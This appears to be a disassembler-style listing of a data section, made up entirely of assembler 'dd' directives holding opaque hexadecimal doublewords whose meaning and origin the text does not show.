		dd 4944C80h, 7C4C3A38h,	0CC6C1209h, 9B935C20h, 0D20ABC52h
		dd 90726DE5h, 5BAE0600h, 30838457h, 0C1B1B9BAh,	2A00C71Ch
		dd 95AEDB54h, 48B7703h,	38821196h, 0BA749214h, 0D0CC444h
		dd 684E8CF2h, 0FF980F4Ch, 0AA807A06h, 9BEA43D2h, 13489A03h
		dd 96DE3h, 760CC679h, 19E49CABh, 0A0A081FCh, 828A7244h
		dd 71B768h, 7EB0BC4Ch, 889A6124h, 6A4E4CD0h, 158C7902h
		dd 9A2224A9h, 3B028CA6h, 0BB650905h, 59EC819Dh,	6425F8D0h
		dd 8C80F430h, 9C12A904h, 28629794h, 0DA809225h,	4453479h
		dd 7110CC5Eh, 1B1080EAh, 1C50166Ch, 40608BECh, 4908C830h
		dd 3E10A1E6h, 40495C22h, 5EDCE52Ch, 781D5346h, 7FAF83BBh
		dd 99051623h, 91279BB8h, 4DF3F200h, 0E5CAB55h, 90309A45h
		dd 0A02005F2h, 0D362C0A1h, 3FB8117Ch, 3A3D889Ah, 0FC680D43h
		dd 0D4302851h, 9A048CDEh, 0E958750Eh, 0AC20C962h, 0E4780E92h
		dd 216826F2h, 30F53F40h, 3B506320h, 0FF1FB73Dh,	803F4341h
		dd 808130ACh, 8C8284h, 0E5DDAFDAh, 1E7D64BAh, 881B9F01h
		dd 0C6F02134h, 0B322CCh, 0E81DA437h, 0E53555BFh, 0F1191E0Fh
		dd 17D5E0C9h, 79860196h, 0B58D00A6h, 54531139h,	4300373Bh
		dd 9CECE8B6h, 0F32FE65h, 3FCAEFF0h, 8542CC00h, 0BF8C279h
		dd 2E1FDD16h, 0CE6FDB01h, 0E4802110h, 70CAA4FDh, 54004011h
		dd 6CF6BC27h, 345A5E99h, 6B113A85h, 71E7F004h, 71397CC3h
		dd 8F26004Eh, 0CABF57FCh, 120E75FDh, 78255938h,	8A10E28h
		dd 18614EBDh, 8888C390h, 270F7D42h, 27889804h, 542388C9h
		dd 1B845990h, 420B481Eh, 0A522519Ch, 1D66220Ch,	1E41EF24h
		dd 0EC45F13Dh, 0C31872A3h, 96111511h, 1CBC1071h, 2FDD004Fh
		dd 0DF0D4241h, 88C200BDh, 19EE3F5Fh, 97E2C1EBh,	522E6500h
		dd 4190CBB9h, 3F1EF0F5h, 6D9D9FE1h, 0ECD540E5h,	288C5103h
		dd 50C8E700h, 0FB8FC9B9h, 667860D4h, 902EAE29h,	93F84E00h
		dd 8C25E732h, 3DCF00DCh, 0D284682Fh, 5303055Dh,	801C7537h
		dd 0BCD5A0F5h, 912400BAh, 0F6B5E6C5h, 252EEC4Ch, 700E979h
		dd 618A4F1Bh, 82E50E6Ah, 2AA2A609h, 0E0A17D25h,	6010FEFFh
		dd 0CC0005E1h, 0FB297860h, 1C5D0DA2h, 87CB0F8Fh, 930B1EF4h
		dd 7000DBBCh, 2094A954h, 0FF2330h, 0A110AC4Eh, 16C29584h
		dd 8026E303h, 8DB10Ah, 1A25A910h, 0F597827Bh, 10F63112h
		dd 0D0902040h, 0F656AAFDh, 880F00EFh, 9EEE6419h, 0C0005C3Ch
		dd 82E9BEFAh, 1A6C61Ah,	428DBB87h, 80B35D66h, 96980618h
		dd 4E286Fh, 0B22AB577h,	0EDC41114h, 0DC670700h,	68A453A9h
		dd 2CCF03CBh, 82E83884h, 0E6D747C8h, 16F6D61Eh,	769AF847h
		dd 5E6FA3F0h, 58EE0023h, 0D270AB7Bh, 2900A8BCh,	0F03A91DFh
		dd 111A44h, 0D1B1E5B9h,	0F99D2E34h, 0D400CD72h,	61E493BCh
		dd 39442AD3h, 0F581E503h, 0B9AA60A2h, 0E6C0DA43h, 0DA0075B6h
		dd 2C6BDC1Ch, 788F8216h, 8E4501B1h, 1835D57Eh, 137E4ABh
		dd 0F38AB90Eh, 7109C094h, 16EEC4Bh, 1386AAE8h, 20C090B4h
		dd 0D1EEF0BCh, 8D798C0Eh, 0BFBE654h, 5C7C0411h,	701ED0Dh
		dd 5F5723AFh, 0B37FF571h, 0F1FF73C8h, 8BF1DCh, 11BB7AB2h
		dd 51989363h, 0C14B1900h, 0B314BE61h, 92EE0009h, 0F3B891Fh
		dd 320FE942h, 2023C048h, 8E7D6AFCh, 0BA8D0049h,	2B3324D6h
		dd 2A3E0275h, 0F2EC167Fh, 18BC5E00h, 5A3A0B7h, 4CF42544h
		dd 531DBE52h, 4F39E3C0h, 90BDCE69h, 0F3E5034Ch,	91AB8844h
		dd 63D6A0F0h, 85A8650Fh, 0AC007323h, 18294364h,	0CFFF0092h
		dd 1D76DE81h, 5D000C06h, 440DFB19h, 7EED847Ah, 62480F65h
		dd 827B920h, 0C282A1A4h, 0B88C41Eh, 8A60FD00h, 0F54A5059h
		dd 0F0E500F8h, 9E331663h, 24003867h, 6CBA95EAh,	6912F3h
		dd 65312C70h, 0E05BC6ECh, 0E645C303h, 1837E57h,	946DA950h
		dd 43B75E0Ch, 8C89C0D0h, 43DF443h, 11BB0CCCh, 0EE27B0ECh
		dd 0E481786Eh, 68B10092h, 0C332A58Fh, 0AF78220Fh, 3E0E9EEAh
		dd 6F2B0AC2h, 65FFE54Ch, 1231D002h, 0A312168Eh,	201E34E8h
		dd 7400081Eh, 4E35BDA8h, 276501F1h, 9CA07732h, 1F41EE5Ah
		dd 0A21D2019h, 648C3024h, 64B48E00h, 0B0E603D6h, 7B18008Eh
		dd 955FC1DBh, 1400C016h, 0C66FA827h, 6EC531F6h,	79C1E8BDh
		dd 30EEBF1Ah, 731C332Ch, 0FC84229Eh, 80E6CEh, 26DA9D47h
		dd 0E0CE7ACh, 0C3A5BE0Bh, 0A363C0C0h, 930C3569h, 20E9C810h
		dd 0DAD0061h, 0BD6BD412h, 470E6656h, 0DA78D9h, 11A9F5C3h
		dd 41C100F8h, 92449D13h, 0E60925F1h, 0F477E5Eh,	6E5D8061h
		dd 0E3446EDh, 2FB178DDh, 3900780h, 28C0230Bh, 18EE92E8h
		dd 102160E7h, 45741C86h, 72EC2067h, 0B1941A80h,	55D30031h
		dd 0B48CAC09h, 14036E83h, 92267BC7h, 7918064Ch,	42AA7C0Dh
		dd 801A8900h, 0FCF35274h, 3AD00108h, 6C1EE4B9h,	3007EF25h
		dd 6779D1A0h, 0D5FF7020h, 3C871D6Dh, 151EC182h,	0F87A409Dh
		dd 4600304Ah, 94BF9F1Fh, 3D93205Ch, 87077C4Ch, 0D025FCCAh
		dd 0F0F20C08h, 68A7F500h, 0EE69AEDh, 737C0041h,	2803A1C9h
		dd 800FE36h, 7493CD80h,	0D3CB0h, 9FF3C1AAh, 1DCCEAAEh
		dd 0E9528100h, 0A992A3DDh, 14BD0056h, 0C81940B4h, 56C0C126h
		dd 3130109Bh, 540C14B9h, 0F700FC2Fh, 7AD867CEh,	4D18E742h
		dd 41119601h, 0FA5422B0h, 7798C01Ch, 0F45F00BDh, 75E0190Fh
		dd 0FBAC389Ch, 832E1501h, 0F70C02A5h, 86EA65A0h, 68339524h
		dd 47C5679Fh, 0E2025D1Dh, 42B41098h, 57625F3Ch,	0D404B403h
		dd 81887CB9h, 8EDBFF11h, 0C4407E6Bh, 4D8CA532h,	33267CDFh
		dd 3F77BC84h, 2F00B6Eh,	16FC923Ah, 0B0405821h, 3F00E241h
		dd 0A2D6B212h, 1CB002D3h, 40CF1C9Fh, 0C5AD106Eh, 0EC002837h
		dd 0D935EB1h, 20FAA9h, 0BCAED83h, 0DA666D7Fh, 4F00AD70h
		dd 97C01731h, 690602h
		dd 94A23E44h, 0B305AF7Bh, 1C271600h, 4D7FBB33h,	67F20043h
		dd 81D3C11Fh, 411F9634h, 5F0010BEh, 0DE5464EDh,	12E27D6Dh
		dd 0E4220Ah, 1985AC7Dh,	400010BFh, 57EC4D5Ah, 24E2C8h
		dd 0D3D15CFh, 0B518DEEh, 0B80A9C1Ch, 77FBECC0h,	724A995h
		dd 0BA0FE13Dh, 8F9D20A5h, 4014BB6h, 0D817D7BBh,	0CC30C476h
		dd 4AF50056h, 0CA7A076Bh, 1D308AEAh, 0C99D1049h, 0F78930E7h
		dd 97961520h, 87852D1Dh, 71E9A9Ch, 53711907h, 0ECEFB130h
		dd 9CBA0B88h, 98839933h, 84F8EDh, 38D24A6Eh, 3ED701F0h
		dd 13AF9576h, 41C8FB53h, 0A700260Dh, 3638DB0Eh,	93B311h
		dd 82EAE7B8h, 33BC8D6h,	0AE01AAF6h, 0FD47A05h, 91CC8E5Eh
		dd 4ABA2C14h, 0FF0600C0h, 7D18B13Ch, 440098E6h,	4EFD1335h
		dd 0B5B7C3h, 2C43ED89h,	32BEE3DEh, 0A09ADC00h, 1542DDA6h
		dd 0C8400AD7h, 0E4C42Bh, 3BA2ED7Fh, 8E00D481h, 0CB51A913h
		dd 2F5B66h, 0F7AABB6h, 740B8B92h, 987C49h, 0AAEE361Fh
		dd 1868B4A1h, 116E2025h, 0CFB859E3h, 0D5DF11C0h, 0CFAE3Eh
		dd 0A138BDDAh, 1BB23C57h, 2BA8D400h, 602D5E96h,	8872247Ah
		dd 5D003C98h, 0D139678Dh, 0E09830Dh, 99F75Fh, 71BA5C64h
		dd 9CD200F3h, 0B6DD36EEh, 0B4043DB7h, 0F7A4A2DEh, 716EDCC1h
		dd 701C9210h, 28661A00h, 5A834FB0h, 0DA8600E9h,	0FEBA8F2Ch
		dd 35004E46h, 0EF942F74h, 0FF7990Eh, 0D96DE8B0h, 1DB2410Fh
		dd 4019170Bh, 0DB8C7F8h, 4900E558h, 0B9BE4A4Fh,	0BA3CEFA0h
		dd 0FB6503F4h, 924CDF9Bh, 3B1A61D0h, 97D41300h,	8790D7Fh
		dd 6C48C715h, 0DDE2A05Dh, 860F84FDh, 674065D2h,	7F607AD7h
		dd 3380B80Fh, 0A5786FDFh, 4531EAF0h, 0B6ECBF00h, 278954B5h
		dd 0ACE41FA2h, 0C06A806Eh, 0A88305F1h, 2D0053F2h, 0CE4A2F2Ch
		dd 0F6D27C09h, 4565017Fh, 0DEE313F1h, 8098C9F0h, 0C43B3A88h
		dd 3547D85h, 0D04F69EAh, 17B0422Ch, 7A00B696h, 0F5C7E83h
		dd 11AB252h, 130AE712h,	85FC3C48h, 0A5734C40h, 328FA4C0h
		dd 582E0078h, 3ED8210Ah, 8CA0BB26h, 181FA246h, 24C007CAh
		dd 47BDD6B0h, 4B780036h, 3B9882E8h, 2EC282Bh, 19348004h
		dd 0E8D053B0h, 0FEF8A1F1h, 0B74E0090h, 4DAD92ABh, 0A0008B61h
		dd 0BE5DB154h, 90270826h, 78523004h, 82FD3ED9h,	7100DBEAh
		dd 487A2B01h, 0E66345D1h, 772E1844h, 3E42186Fh,	87C2BD0Fh
		dd 9C48A052h, 0B8D738h,	7F5004A0h, 247A80D4h, 58FB0A30h
		dd 329196BCh, 1B68BF3Dh, 2CC1E480h, 0A4745470h,	0FBD38212h
		dd 0BD591840h, 0CC7E0Dh, 512EB836h, 0ED9563C8h,	3C1AA000h
		dd 0C999E44Dh, 6BA7013Dh, 0AC1F140h, 3E0BFCB7h,	48728232h
		dd 97C8A0E2h, 911B3BDh,	8691F040h, 0DD209100h, 0C301901Ah
		dd 9AFE8E59h, 72EC77CEh, 260F02B3h, 4E631E4Dh, 0F761EBE0h
		dd 2DEE9403h, 0F0F1A097h, 0A8849541h, 0AB07C98h, 2218AABCh
		dd 0F863F038h, 83C2C0EDh, 0F4E5F1EBh, 0FC05EC08h, 6B1AED5Eh
		dd 4C350FC0h, 0E55E6EFh, 0C8900F59h, 2664CFA0h,	0FAFC9CBDh
		dd 12BBB101h, 0C519771Bh, 55D88985h, 0E3A04392h, 0CAA8FDD0h
		dd 6B02E09Ah, 3C71768h,	7EB848DFh, 528F2410h, 0E6E003C8h
		dd 0B0CE226Bh, 0C3A57F1Ch, 0F4C05F02h, 58C480D8h, 0D339DFh
		dd 0A7BAC80Bh, 2288248Ah, 61301E07h, 2F3740D0h,	0D425AB10h
		dd 517A0309h, 8E78E131h, 2BE880A5h, 3000C940h, 0C7E02EAEh
		dd 87204Ch, 0BD321257h,	49647501h, 0C06EDC31h, 64346D4Fh
		dd 0AE1E007Eh, 2CDF2396h, 2705FD61h, 0D219B83Dh, 0FAA70CCh
		dd 0DF86E1A0h, 9F5797E3h, 0C858A90h, 4338DA7Ch,	0F6E900BAh
		dd 0DDE4114Ch, 81BE00EEh, 0F02F62D6h, 0D712493Bh, 0CC40436Ah
		dd 6310FD46h, 0F1741Eh,	0EE3530F5h, 0A962C467h,	720C220Fh
		dd 0CDE0A01Ch, 369D59Fh, 71888981h, 3CB0B787h, 65173268h
		dd 1D242Dh, 0A428AE40h,	0BC240A2h, 0AA507FC8h, 0D2F62080h
		dd 0A0008FB3h, 4CF5814Fh, 391AF9Dh, 0F4131CE2h,	0D4DA4DE0h
		dd 6660D642h, 0DD002A24h, 0AB511492h, 18D747BFh, 0B8F5D4B7h
		dd 0DC91FBC1h, 42A46460h, 0C61C0041h, 82613E9Ch, 50B017AFh
		dd 842DF100h, 4DE36D8Eh, 2C22F871h, 4C1FDB6h, 0C0144F13h
		dd 4B6EEBCCh, 70962F90h, 0FE46294h, 405960A2h, 1343DF2h
		dd 1EA17CA9h, 0C04B0389h, 8B2A625Dh, 7960DDB4h,	23A64790h
		dd 4EE0077Fh, 1016EF51h, 7D7C30D6h, 92269B00h, 0DA4586C8h
		dd 0B6C00BCh, 0EC10E6CAh, 93007479h, 0BDAF326Ah, 1C525EE9h
		dd 33253F88h, 1ACA45F8h, 9A378CC0h, 0AE5929FCh,	97320394h
		dd 0AA4A5Dh, 0D110610h,	8AC817A6h, 8296120Ch, 5CFC9408h
		dd 7500A086h, 9503E458h, 1600CBCFh, 0F228A876h,	78C8543h
		dd 0D3FEC370h, 867130F1h, 8800AD2Ah, 83220726h,	5BAB4CCh
		dd 39DA304Fh, 8E50C034h, 0E1184C86h, 0BF59DBE5h, 76232C85h
		dd 26F71F04h, 0AC9600D0h, 90E0976Ah, 3F00A470h,	0BB6C856Fh
		dd 0F63C87FFh, 2E40026h, 579CF40Eh, 0A700E52Bh,	0AD2C1456h
		dd 1C6CE962h, 408168EAh, 991FE0DDh, 165C90B1h, 39C30341h
		dd 0D1459312h, 78F410C5h, 61A83E60h, 38901300h,	0DDAFC341h
		dd 0CF45320Eh, 0F5D1E01Fh, 0DC6965h, 0EE8C5935h, 41FB6189h
		dd 0A148B600h, 519A1AB7h, 5C760FC7h, 3500FC8Fh,	724547D3h
		dd 4BD2802h, 0C0A5462Eh, 17682CD0h, 0E6BCDD0h, 5F601DF1h
		dd 291EA36Ch, 49D18400h, 0C203903Eh, 112600E6h,	349CE3C7h
		dd 754C1F7Eh, 0F31D0008h, 0D3DF362Dh, 55E84Ah, 94EAE573h
		dd 0F5978EFEh, 53D8F800h, 2076A950h, 3F389078h,	1A1C0392h
		dd 6804C045h, 7F286418h, 5100FFECh, 0C2C886D2h,	0ACA023h
		dd 71BE9BDEh, 1FC5402Ah, 3DD21E00h, 7C931441h, 0B0947797h
		dd 51CB00B8h, 8A1E8F4Eh, 6F00C96Eh, 89B42B83h, 19A226h
		dd 797BD137h, 32A7D331h, 103E2109h, 0B798073Ah,	0AC4FEFA0h
		dd 845B0060h, 8EF2E937h, 89007ADEh, 7014B085h, 0FF1D20h
		dd 4E057563h, 4ABD4E9h,	429D8200h, 512DD5F7h, 56FA0095h
		dd 322181F6h, 49007FD3h, 0B30FC1D4h, 9EA0D5h, 13376538h
		dd 33BEDA3h, 0E1628813h, 7E800C40h, 173FF4C7h, 40871AADh
		dd 937F2178h, 7100F251h, 0FB851F26h, 0F98524Eh,	48236F0Ah
		dd 9AC8464Ch, 56DA9201h, 6EC45784h, 1779E034h, 0DE1DD3h
		dd 0D6B21404h, 9417ACA3h, 1840AFB8h, 28705C37h,	0EF4701EEh
		dd 5A12A6F2h, 9080D841h, 0DC00044Fh, 3D77C98h, 244C00D6h
		dd 5B7F0EEAh, 0F74CF6C6h, 7C2F1DD4h, 343DEFA0h,	0F2F5057Ch
		dd 901564AAh, 78C02C70h, 98F3200Ch, 12E55825h, 931E05h
		dd 67F80BF4h, 840002D8h, 0DA51E43Ah, 1C4B16C2h,	81556086h
		dd 0B131F64Eh, 0FCA5ED23h, 0C2F26B43h, 6032E02Eh, 44F28580h
		dd 1CD8A088h, 403315FDh, 25307764h, 0BA00019Bh,	5B08860Bh
		dd 0E04D4Ah, 5A50FFAFh,	0EFD5B62Eh, 0C08E6601h,	0B1476BCh
		dd 0C871024h, 3E8B7C13h, 0F6002A10h, 404D48E2h,	98D45C9Dh
		dd 0E5BE02CCh, 92DC446Dh, 0DD624460h, 0A588F00h, 0DB0DFC94h
		dd 0AD55148Eh, 8C2484E0h, 586D00A8h, 358910A8h,	0F7F2390Eh
		dd 99072490h, 36663C80h, 29E009Ch, 0CF4983C0h, 3E00388Eh
		dd 4CC1F248h, 7F69ECE2h, 7AF4EDh, 3BD7DF56h, 0C8D2875Bh
		dd 8FCE2900h, 19FC167Fh, 470F0F6Bh, 0E209AAB5h,	12E55600h
		dd 4FE656F2h, 45411C06h, 3B164EE6h, 4680C1E8h, 0AF5C65F3h
		dd 31F4E078h, 26D5F200h
		dd 63A0C03Ch, 0AAE902C4h, 120545C7h, 74012450h,	0EF0F5E7Ch
		dd 0CD31D010h, 0E70B0800h, 926F1E7Ah, 0B125025Dh, 0F470B388h
		dd 0BC78B4h, 661ABA77h,	769E36F4h, 401D03F8h, 0EE3D4B19h
		dd 0C200C09Dh, 0DD013E7Ah, 0B69A236Eh, 90704EBEh, 0CF870090h
		dd 0A3037769h, 9C00FCE7h, 0FABD6D18h, 3C27CC7Eh, 7485B33Fh
		dd 0C1979E0Eh, 0CCD0334Ch, 0D74889F3h, 98880034h, 5FA6FCD8h
		dd 1AEF006Fh, 4F39D960h, 84B6E145h, 0EE686400h,	1D27B05Ah
		dd 8BEA0AF4h, 0F048A061h, 0B3A0F38Ah, 3900D4C9h, 0D5BF6EF0h
		dd 0C26C840h, 4697907Eh, 200FCB0h, 5788A3EEh, 0EB20CF8h
		dd 348C0F16h, 0A0B508A6h, 0F5681B00h, 350D80Eh,	0CEA200A7h
		dd 0D3478B6h, 97003D98h, 606DE679h, 835F8Ch, 4F0F4E16h
		dd 516F93F5h, 7D66C600h, 4081BC03h, 759400CCh, 0BDA904A2h
		dd 274DFCA3h, 0A80800E4h, 1C91BBD4h, 1258188Ch,	532711B0h
		dd 0A6053510h, 3904C700h, 0B71A1907h, 9D97840Fh, 160D003Ah
		dd 2983BC3h, 2BEB49A2h,	0DC804569h, 12279A09h, 9700B375h
		dd 5BCED3E2h, 3A305688h, 0FB8007BBh, 13A91C32h,	0A80FE539h
		dd 0A0EF7D97h, 2CA02190h, 7A732DDEh, 25CDA098h,	0C4008B4Bh
		dd 0F53D14ABh, 0AA180430h, 0C0E59E31h, 4B507A29h, 3A299107h
		dd 5436F59Dh, 0F95B0090h, 0A36850Dh, 0AE28E08Eh, 4300FC2Dh
		dd 0FE30EC61h, 4731C2h,	0B3B4E2C5h, 1C896D55h, 9C615903h
		dd 88C64CF9h, 1F5A29FFh, 0DF254064h, 38D683CBh,	0CD8841F2h
		dd 7C030520h, 3AF74A0h,	1F96F8AEh, 139000BBh, 0CF0F920Ah
		dd 991ECC5Ch, 0E38BF354h, 0F61CE075h, 0AE501807h, 7ECC7167h
		dd 6BD7405h, 2380D577h,	51BA4368h, 0CC78D512h, 603E7907h
		dd 42C0CEB6h, 0F0162CE1h, 0FA73B000h, 5B57CA45h, 0B7DE0E2Dh
		dd 0C7019A8Bh, 0E15A6D36h, 0BCD47406h, 4662731Bh, 61C5C080h
		dd 0AF90309Ah, 0A99EF108h, 650D11B8h, 30ED0E64h, 1D6631E0h
		dd 0E3413Bh, 0B783EA11h, 33012904h, 5D6BCED8h, 408071B1h
		dd 34AAA886h, 75008836h, 0A96C4601h, 794190B0h,	204F002Ch
		dd 2D08B8A0h, 8BE4B5BAh, 0E4DEE03h, 739F6ECh, 9C3AA838h
		dd 47C16538h, 0B07CF194h, 4065D179h, 6628030Dh,	64006034h
		dd 0F6279D8Fh, 39E00ADh, 0A45C1F17h, 0AB008123h, 0D4D5C29Bh
		dd 0E67DCC8h, 0ADFBF5CAh, 228006CEh, 0FF9AD31Bh, 3C8C7A00h
		dd 0DD488707h, 0C838006Dh, 0C18A8BA1h, 8500643Fh, 3E9D625Ch
		dd 0F9B266Ch, 5C4C560h,	3480936Bh, 71F39F1Bh, 0F7537D00h
		dd 0D8DE80E7h, 0C4700FEDh, 3E1C7B72h, 66AD1C00h, 176244EAh
		dd 82016971h, 3375C6E8h, 0F1819CCDh, 0DE10188Ch, 0F1F8866Ah
		dd 3E93E3Bh, 0C8454B61h, 38E1CA5Dh, 2D0C5068h, 54895E18h
		dd 0B450B50Ch, 21864018h, 4C1117A1h, 0FAFCB903h, 0F3E158CFh
		dd 69E4A5C5h, 0E8386134h, 39056D00h, 0E436C26Eh, 0D801454Bh
		dd 0C3EBAE11h, 6138F3C0h, 0FFB751EFh, 3903D3FDh, 2EA93EDFh
		dd 0C180DB36h, 0DEE0137Ch, 0C0316139h, 8FADC5C2h, 5346171h
		dd 80F76BBh, 0AEC40431h, 0C1372940h, 7739ADF3h,	1880DCF9h
		dd 0BB793B57h, 80A5311Ch, 50B83EE0h, 589975ACh,	89B63707h
		dd 31A02113h, 60A4FC70h, 44AF3962h, 0CE8172B1h,	840CB9BEh
		dd 47799343h, 5F57F718h, 60F13931h, 0F0C68840h,	6EF036E9h
		dd 9E7E9B3Eh, 942FE0Dh,	40E59967h, 3C33B583h, 0B2009021h
		dd 0CFDE312Bh, 0A42CB739h, 0B014EE4Ch, 0F090F514h, 7113ADh
		dd 0FC8F29F1h, 0CE6F3AD6h, 0CCA980F3h, 3D5EE901h, 0FA880CFEh
		dd 0C40806EFh, 72F80A8h, 0F991E916h, 60FBCF0Fh,	98714755h
		dd 0FD84A05Ch, 0E8B002C3h, 64A83820h, 0EDE7F882h, 6AF984A0h
		dd 0A9F898CAh, 0E06D462Fh, 347906D3h, 204052ACh, 54C31998h
		dd 0BD48F460h, 625E2807h, 0D459B170h, 11E90318h, 880E3D60h
		dd 93180C6h, 786DD0E9h,	4B48B908h, 420C0814h, 94937502h
		dd 21820FE7h, 34803CC4h, 579C67BDh, 7A3910C0h, 7FA2CAB1h
		dd 1E530087h, 4F8F431Ch, 1700A8EDh, 0D5DE13DDh,	0E18E8BFh
		dd 0B1C90C41h, 0D2FE80ECh, 0B8718930h, 3CBC1A9Ah, 0D000B610h
		dd 14C27DFAh, 5B03F6D6h, 0AAF06C83h, 1812F88Ch,	0ED7B002Ah
		dd 4EE8BDF3h, 2224652Fh, 9B0035A9h, 667D69A0h, 0E2C80377h
		dd 0B34FD936h, 0FD746190h, 0C36CD207h, 9B70426Bh, 1A894Dh
		dd 15952112h, 46EC141Eh, 0ABA2900h, 49937138h, 7D587B09h
		dd 406E1221h, 19740FB1h, 0DCA567h, 715AFC1Eh, 8D008EFEh
		dd 0E09605CFh, 0CE75C81Ah, 8FC0FB38h, 0FC9067ACh, 9821EA00h
		dd 2212ED54h, 24A60474h, 5DD8992Fh, 3839B380h, 60430173h
		dd 3A987852h, 0CF00F418h, 1E75A8C5h, 0F0FCE07h,	0EA4B7C03h
		dd 7CC4504h, 0AE303721h, 1BA064h, 2AFFE0BBh, 4C6DFC3Dh
		dd 532C64A0h, 356F8C00h, 1859EDF0h, 0C48A3A56h,	0F94B6A00h
		dd 8EDD3322h, 0E2E35000h, 6FFA6D21h, 79CA0363h,	5B402A8Dh
		dd 731E9900h, 83239526h, 0DFD20094h, 0D92080C3h, 8CA07C50h
		dd 0B118298Dh, 5730E0E4h, 0BE8E1841h, 3E43A053h, 0D2EA49C0h
		dd 7D712431h, 3D277957h, 7400706Dh, 0D11C031Eh,	50C13F84h
		dd 78B9A941h, 4E56FCh, 0F283CD7Fh, 11B44474h, 0DE0784FEh
		dd 1F4D7DCAh, 0C5C1A690h, 0F3D10057h, 91872EFBh, 4C003718h
		dd 0ECBAE1D2h, 0FCAF0542h, 40C504C0h, 0C0337110h, 0D3C6396Eh
		dd 372640C1h, 30B9B354h, 6F7FB007h, 5900C8A3h, 50B13C7h
		dd 9A580387h, 0B61E27ECh, 0FF00797Ah, 1C81DDD0h, 0C02D96h
		dd 40EADB64h, 2159415Ch, 0ECB03C03h, 0C042C2A7h, 181FCE9Bh
		dd 409EE3EAh, 0DD9068BBh, 0D00A67Ch, 0D3526EF4h, 0C4EDF0Bh
		dd 92494F47h, 61003329h, 53B6F04Ah, 6069ECBh, 10367DE1h
		dd 0A0FD14Dh, 40CA0DF8h, 0DFB9D192h, 126F0382h,	0BAC20635h
		dd 9AD748C0h, 0F8D46100h, 18F08514h, 2F18C1B7h,	0F2D2648Eh
		dd 70608BE3h, 1CEC9CE0h, 11C8609Bh, 0C7083602h,	5F25200h
		dd 0A5344F3Bh, 0B0E179CAh, 0D60487AAh, 96074118h, 601A3C10h
		dd 0DBA1820h, 5300F195h, 47137D0Eh, 0F5C0F4h, 3CB24ECAh
		dd 0E41743F7h, 94A3BA19h, 5C106929h, 0D27078CEh, 0F2FA12E4h
		dd 7CE3A5Ch, 0C74693A8h, 0A783BEA4h, 634FD051h,	2BCE0068h
		dd 7E2FDA05h, 9A00F789h, 0C4BF7664h, 8024C1h, 0E30811CFh
		dd 34E52EA8h, 68A2200h,	3EA37864h, 48737Dh, 4FFEAE7Ah
		dd 0A14C4AFFh, 5C0008F4h, 73D7749h, 399BA8Eh, 827AEFA5h
		dd 0CDE8BEDDh, 0F10029F9h, 232C4BE4h, 0FE45C9h,	1A91D19Dh
		dd 0D0950BAFh, 0E6DDDB00h, 8D4572Fh, 35790019h,	68D9E16Fh
		dd 0F8009256h, 9511A149h, 79BF20Fh, 18907393h, 0B7A80096h
		dd 0D3E0AD85h, 43043900h, 5B40C4Dh, 82DB0F41h, 0C500794Bh
		dd 78A6948Fh, 6A5FC000h, 51F54DFh, 2F921DD6h, 0F73825Ch
		dd 8D603F16h, 0F8007EE6h, 0AA414C39h, 440345h, 590EBED2h
		dd 1A886CA3h, 0B393641Eh, 2D833840h, 7BAE6E33h,	3FCEE078h
		dd 65008954h, 0B4378F48h, 9300CC57h, 98472EDCh,	1E3B6E7Fh
		dd 0D8D1A44Ch, 0E980786Ch, 0C04B6D00h, 0D9543CEBh, 0CB9EA92h
		dd 0B8743FF5h, 0D600B4F8h, 0B3D2A231h, 45A761Eh, 0D981837Ah
		dd 4D349042h, 0A2038439h, 4AD858A4h, 483824B7h,	0B83B00C2h
		dd 159D32F9h, 25E6C600h, 0FDA5160Ch, 811D00D0h,	3B591FDEh
		dd 76068456h, 408C6C3Dh, 3C684059h, 0B17BC931h,	0C0F091C7h
		dd 7CF4D0h, 7DB9890h
		dd 0F2D5F91Fh, 0F75FB200h, 93D7FA2Ah, 69180C40h, 7B91EF7Fh
		dd 7A00BC7Bh, 5DE513Ch,	0A8991Fh, 80911A76h, 0E2C310D2h
		dd 0C1923D50h, 83E52C1Dh, 0C91044D8h, 0A2800F6h, 116853Ch
		dd 611C5A2Eh, 0D0C0347Fh, 77EF47B0h, 0C669125Eh, 8EB8004Ch
		dd 0A53C0FE7h, 67F88100h, 5F38832Dh, 0D0CC00F0h, 621B0DAFh
		dd 7B06FCA7h, 2E3E3916h, 0D8E4C8h, 17EFCA24h, 1BDA532Fh
		dd 47B918C0h, 4B0A172h,	52EDA364h, 0CF310021h, 0B4BF42h
		dd 8F6A227Ah, 80E3F76Ch, 386DBD07h, 9C213094h, 6B601947h
		dd 4D022CDFh, 3ADD0072h, 65FA1826h, 0D0588C09h,	7CEB8047h
		dd 3A02F6Dh, 320B8D5Ch,	7BD108EBh, 7E70B00Dh, 14DFFF95h
		dd 873E92AAh, 7E5E0800h, 9E68F8C7h, 24DAE001h, 0ACA6E3D6h
		dd 884255E9h, 0B63048F9h, 0EA350422h, 0AFC44Eh,	0DB1F4026h
		dd 99D4A83Fh, 911700D9h, 0F00E9CA9h, 63130A1Ch,	6C408FA4h
		dd 117BD6DFh, 0E76F2F3h, 0A8B43E5Bh, 1A520C03h,	91CC90B8h
		dd 0F7B6E407h, 2D70B0F9h, 6F848E24h, 1EB26089h,	0E03CE4A8h
		dd 63046CC8h, 44009075h, 334B8AACh, 121A1892h, 1A03D6Eh
		dd 0D878DD40h, 96F080A8h, 6897E11Bh, 0E6650702h, 4AD96B53h
		dd 15028CCh, 6350EFCDh,	0E856F880h, 6E24237Ch, 0AE8058EDh
		dd 0CAFEFF4Eh, 210464DAh, 0B738D219h, 506DB10h,	0FD0B6220h
		dd 0E9E40539h, 91CC001Ah, 0EB659D25h, 0B3BA4419h, 0C3E4F740h
		dd 29780066h, 91FCE49Bh, 0EA00084Bh, 33864E6Eh,	0A8E2B8A9h
		dd 84D37AA4h, 3CA09974h, 0C20C8268h, 99EFDD96h,	0F36C042Ah
		dd 909ADA69h, 0FDE1B9C4h, 0B85E0424h, 0BDFBB585h, 3740E85Eh
		dd 0CBED80F6h, 5C500275h, 0A8CC0B4Bh, 0E88FE482h, 0BE3CC2C0h
		dd 0F4EC4000h, 428AD3Dh, 0BA72044Eh, 0D2475958h, 0B4A0FD00h
		dd 68B33BD4h, 54FC6F3Dh, 1B02DDA0h, 0DE914D44h,	907121F4h
		dd 38EC461Dh, 99F8CC00h, 8AAD9A81h, 0F2C724F5h,	151124h
		dd 35B95FCBh, 3F3AE821h, 99184E48h, 26886104h, 7817F100h
		dd 3B777920h, 6B3E00E2h, 1A74E891h, 2209E646h, 253D879Dh
		dd 0B472096Ch, 0FD6208Fh, 0A090641Fh, 7A3DFE1Eh, 25C7B69Fh
